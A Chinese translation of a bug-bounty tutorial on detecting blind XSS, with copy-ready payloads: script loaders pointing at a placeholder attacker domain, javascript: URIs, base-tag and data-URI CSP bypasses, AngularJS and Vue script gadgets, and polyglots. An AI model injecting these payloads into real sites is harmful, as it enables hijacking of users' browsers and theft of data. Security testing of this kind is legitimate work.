Blind XSS 发现指南

Posted 白帽汇

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Blind XSS 发现指南相关的知识,希望对你有一定的参考价值。

Blind XSS 发现指南


在挖掘安全漏洞的时候,我们往往不能面面俱到,会错过某些系统功能,导致漏洞被遗漏。这在寻找Blind Cross-Site-scripting (bXSS)时更是如此。

去年我曾写过一篇关于AngularJS bXSS的文章,分享我是如何利用AngularJS去进行bXSS攻击。而在这篇文章中,我想分享更多可用来检测bXSS的各种payload,希望能有效挖掘出后端系统中未曾被发现的bXSS。除此之外,我还想以自动化的方式进行检测,因此所提出的payload既可以在Burp中使用,也可以在xsshunter或其他bXSS自动化扫描工具中使用。

验证bXSS


在大多数情况下,确认bXSS存在的最简单的方法就插入一张“图像”,等待其渲染,捕获注入点。当然,有时网站会针对img-src部署严格的内容安全策略(CSP),禁止从任意域加载图像。

<!-- Image for HTTP Interaction -->

 "><img src='//domain/xss'>

而像Angular和AngularJS这样的框架,也肯定会清除不可信数据,虽然会保留和图像有关的html代码,但会移除event处理代码。这就有点像是HTML注入。此时基于img-src的攻击不太可能会生效,因为我们所控制的域不太可能通过白名单过滤。

Blind XSS 发现指南

下一种payload是更传统的引用外部javascript,利用第三方脚本来进行攻击,这种原始的方式有时也能生效:

<!-- External javascript -->

"><script ></script>


javascript URIS也可以用于React应用,任何输入都可以插入到href路径中:

// javascript URI
javascript:eval('d=document;    _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)');


另一种方法是在href标签中注入包括javascript URI在内的任意HTML。

<!-- javascript URI in a href -->
"><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>


现在,让我们看看浏览器中有哪些我们可以利用的部分,SVG、HTML5、event handlers和CSS。

而网站HTML5Sec.org也许能在这方面给你更明确的提示,它包含了大量的payload,可用来构建bXSS。

Blind XSS 发现指南

Matthew Byrant也为xsshunter编写了一些非常棒的payload,对于将某些恶意字符列入黑名单或使用jQuery的应用非常有效。

Blind XSS 发现指南

到目前为止,我们已经有了图像、外部javascript、javascript URI、a href、event handlers、SVG、JQuery等多种payload形式,并且我前期也介绍过基于AngularJS的bXSS;你还可以从诸如html5sec、Ed’s bug bounty-cheatsheet等大量网站中获得足够多的payload。

CSP


很久以前,浏览器的开发团队就引入了一些安全性控制,并且越来越强大,越来越复杂。在某些情况下,即使存在注入,但由于存在CSP,payload也无法生效!即使只是图片,来源不明的也不会加载。

好消息是有各种各样的CSP绕过。Lukas and Michelle的文章中记录了绕过CSP的各种方法。

不同的站点的CSP往往不同(当然有些网站可能会使用通用的模式),你可以把你的目标网站放到csp-evaluator.withgoogle.com中进行查询,它会给你一些注入建议。

Blind XSS 发现指南

需要注意的是,CSP并不是用来防止用户数据泄露,只是用来定义应该加载和执行哪些域的资源。


让我们看看CSP在AngularJS是如何工作的:

Blind XSS 发现指南

可能会有部分敏感信息传输到你所控制的域中。

Blind XSS 发现指南

CDN


Blind XSS 发现指南

base-src


base标签也是我们可以利用的对象,它会把下面加载的所有脚本重定向到第三方网站!而且还包括有效的CSP nonce!

<!-- will change https://example.com/scripts/foo.js to https://domain/scripts/foo.js -->
"><base href="//domain">
<script nonce='secret' src='./scripts/foo.js'></script>

你需要做的就是配置好你的服务器,让特定通配符对应相应payload。

Blind XSS 发现指南

object-src


CSP的一个常见问题就是当object-src未被定义时,可以利用embed,object或applet进行绕过,当然,由于浏览器安全性的改进,这些标签利用都变得很困难。

Blind XSS 发现指南

script-src


如果CSP策略对于script-src允许HTTPS、*、data等,则很容易绕过:

<!-- data scheme or wildcard in script-src -->"><script src=data:text/javascript;base64,ZD1kb2N1bWVudDsgXyA9IGQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7Xy5pZD0nMTknO18ubm9uY2U9ZC5xdWVyeVNlbGVjdG9yKCdbbm9uY2VdJykubm9uY2U7Xy5zcmM9Jy8vbG9jYWxob3N0L20nO2QuYm9keS5hcHBlbmRDaGlsZChfKSA=></script><!-- https:// in script-src -->"><script src='https://domain'></script>

script Gadgets


谷歌团队在2017年发布了关于script Gadgets的研究,其中介绍了绕过CSP的新方法。简单来说,就是script Gadgetst是合法的javascript代码,但可以用来实现HTML注入。这意味着像AngularJS、Vue、Aurelia等库/框架,都可用来进行bXSS攻击。script Gadgets由于其合法性,可被用来绕过CSP、XSS过滤器和WAF等。

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>


payload列表可以通过谷歌团队的研究进一步扩展,其中涉及各种库和框架的多种利用方式。

适用多种场景的payload


考虑到注入代码可能出现在多种不同的场景下,我们需要使用可适用多种场景的payload。Mathias Karlsson的一篇文章详细介绍了如何创建多场景的payload,这可能是发现隐藏的bXSS的关键。

// Gareth Heyes - https://twitter.com/garethheyes
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>

// clrf -  http://polyglot.innerht.ml/
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>


感谢你的阅读!


本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

◆来源:

https://ardern.io/2019/06/20/payload-bxss/

◆本文版权归原作者所有,如有侵权请联系我们及时删除


白帽汇安全研究院隶属于北京华顺信安科技有限公司。研究院拥有一支从事网络安全研究的资深技术团队,致力于网络信息安全领域的深入探究,研究方向为网络空间测绘、安全大数据、威胁情报、态势感知、区块链安全等前沿安全领域。

白帽汇


点击下方“阅读原文”查看更多内容。

以上是关于Blind XSS 发现指南的主要内容,如果未能解决你的问题,请参考以下文章

利用Blind XSS发现目标系统内部票据管理和防火墙登录页面

新手指南:Bwapp之XSS –stored

web漏洞挖掘指南 -XSS跨站脚本攻击

新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS

CSS不一样的渐变&分布式系统事务一致性解决方案&妙用JavaScript绕过XSS过滤--20170917冰鉴周指南

XSS过滤绕过速查表,推荐收藏!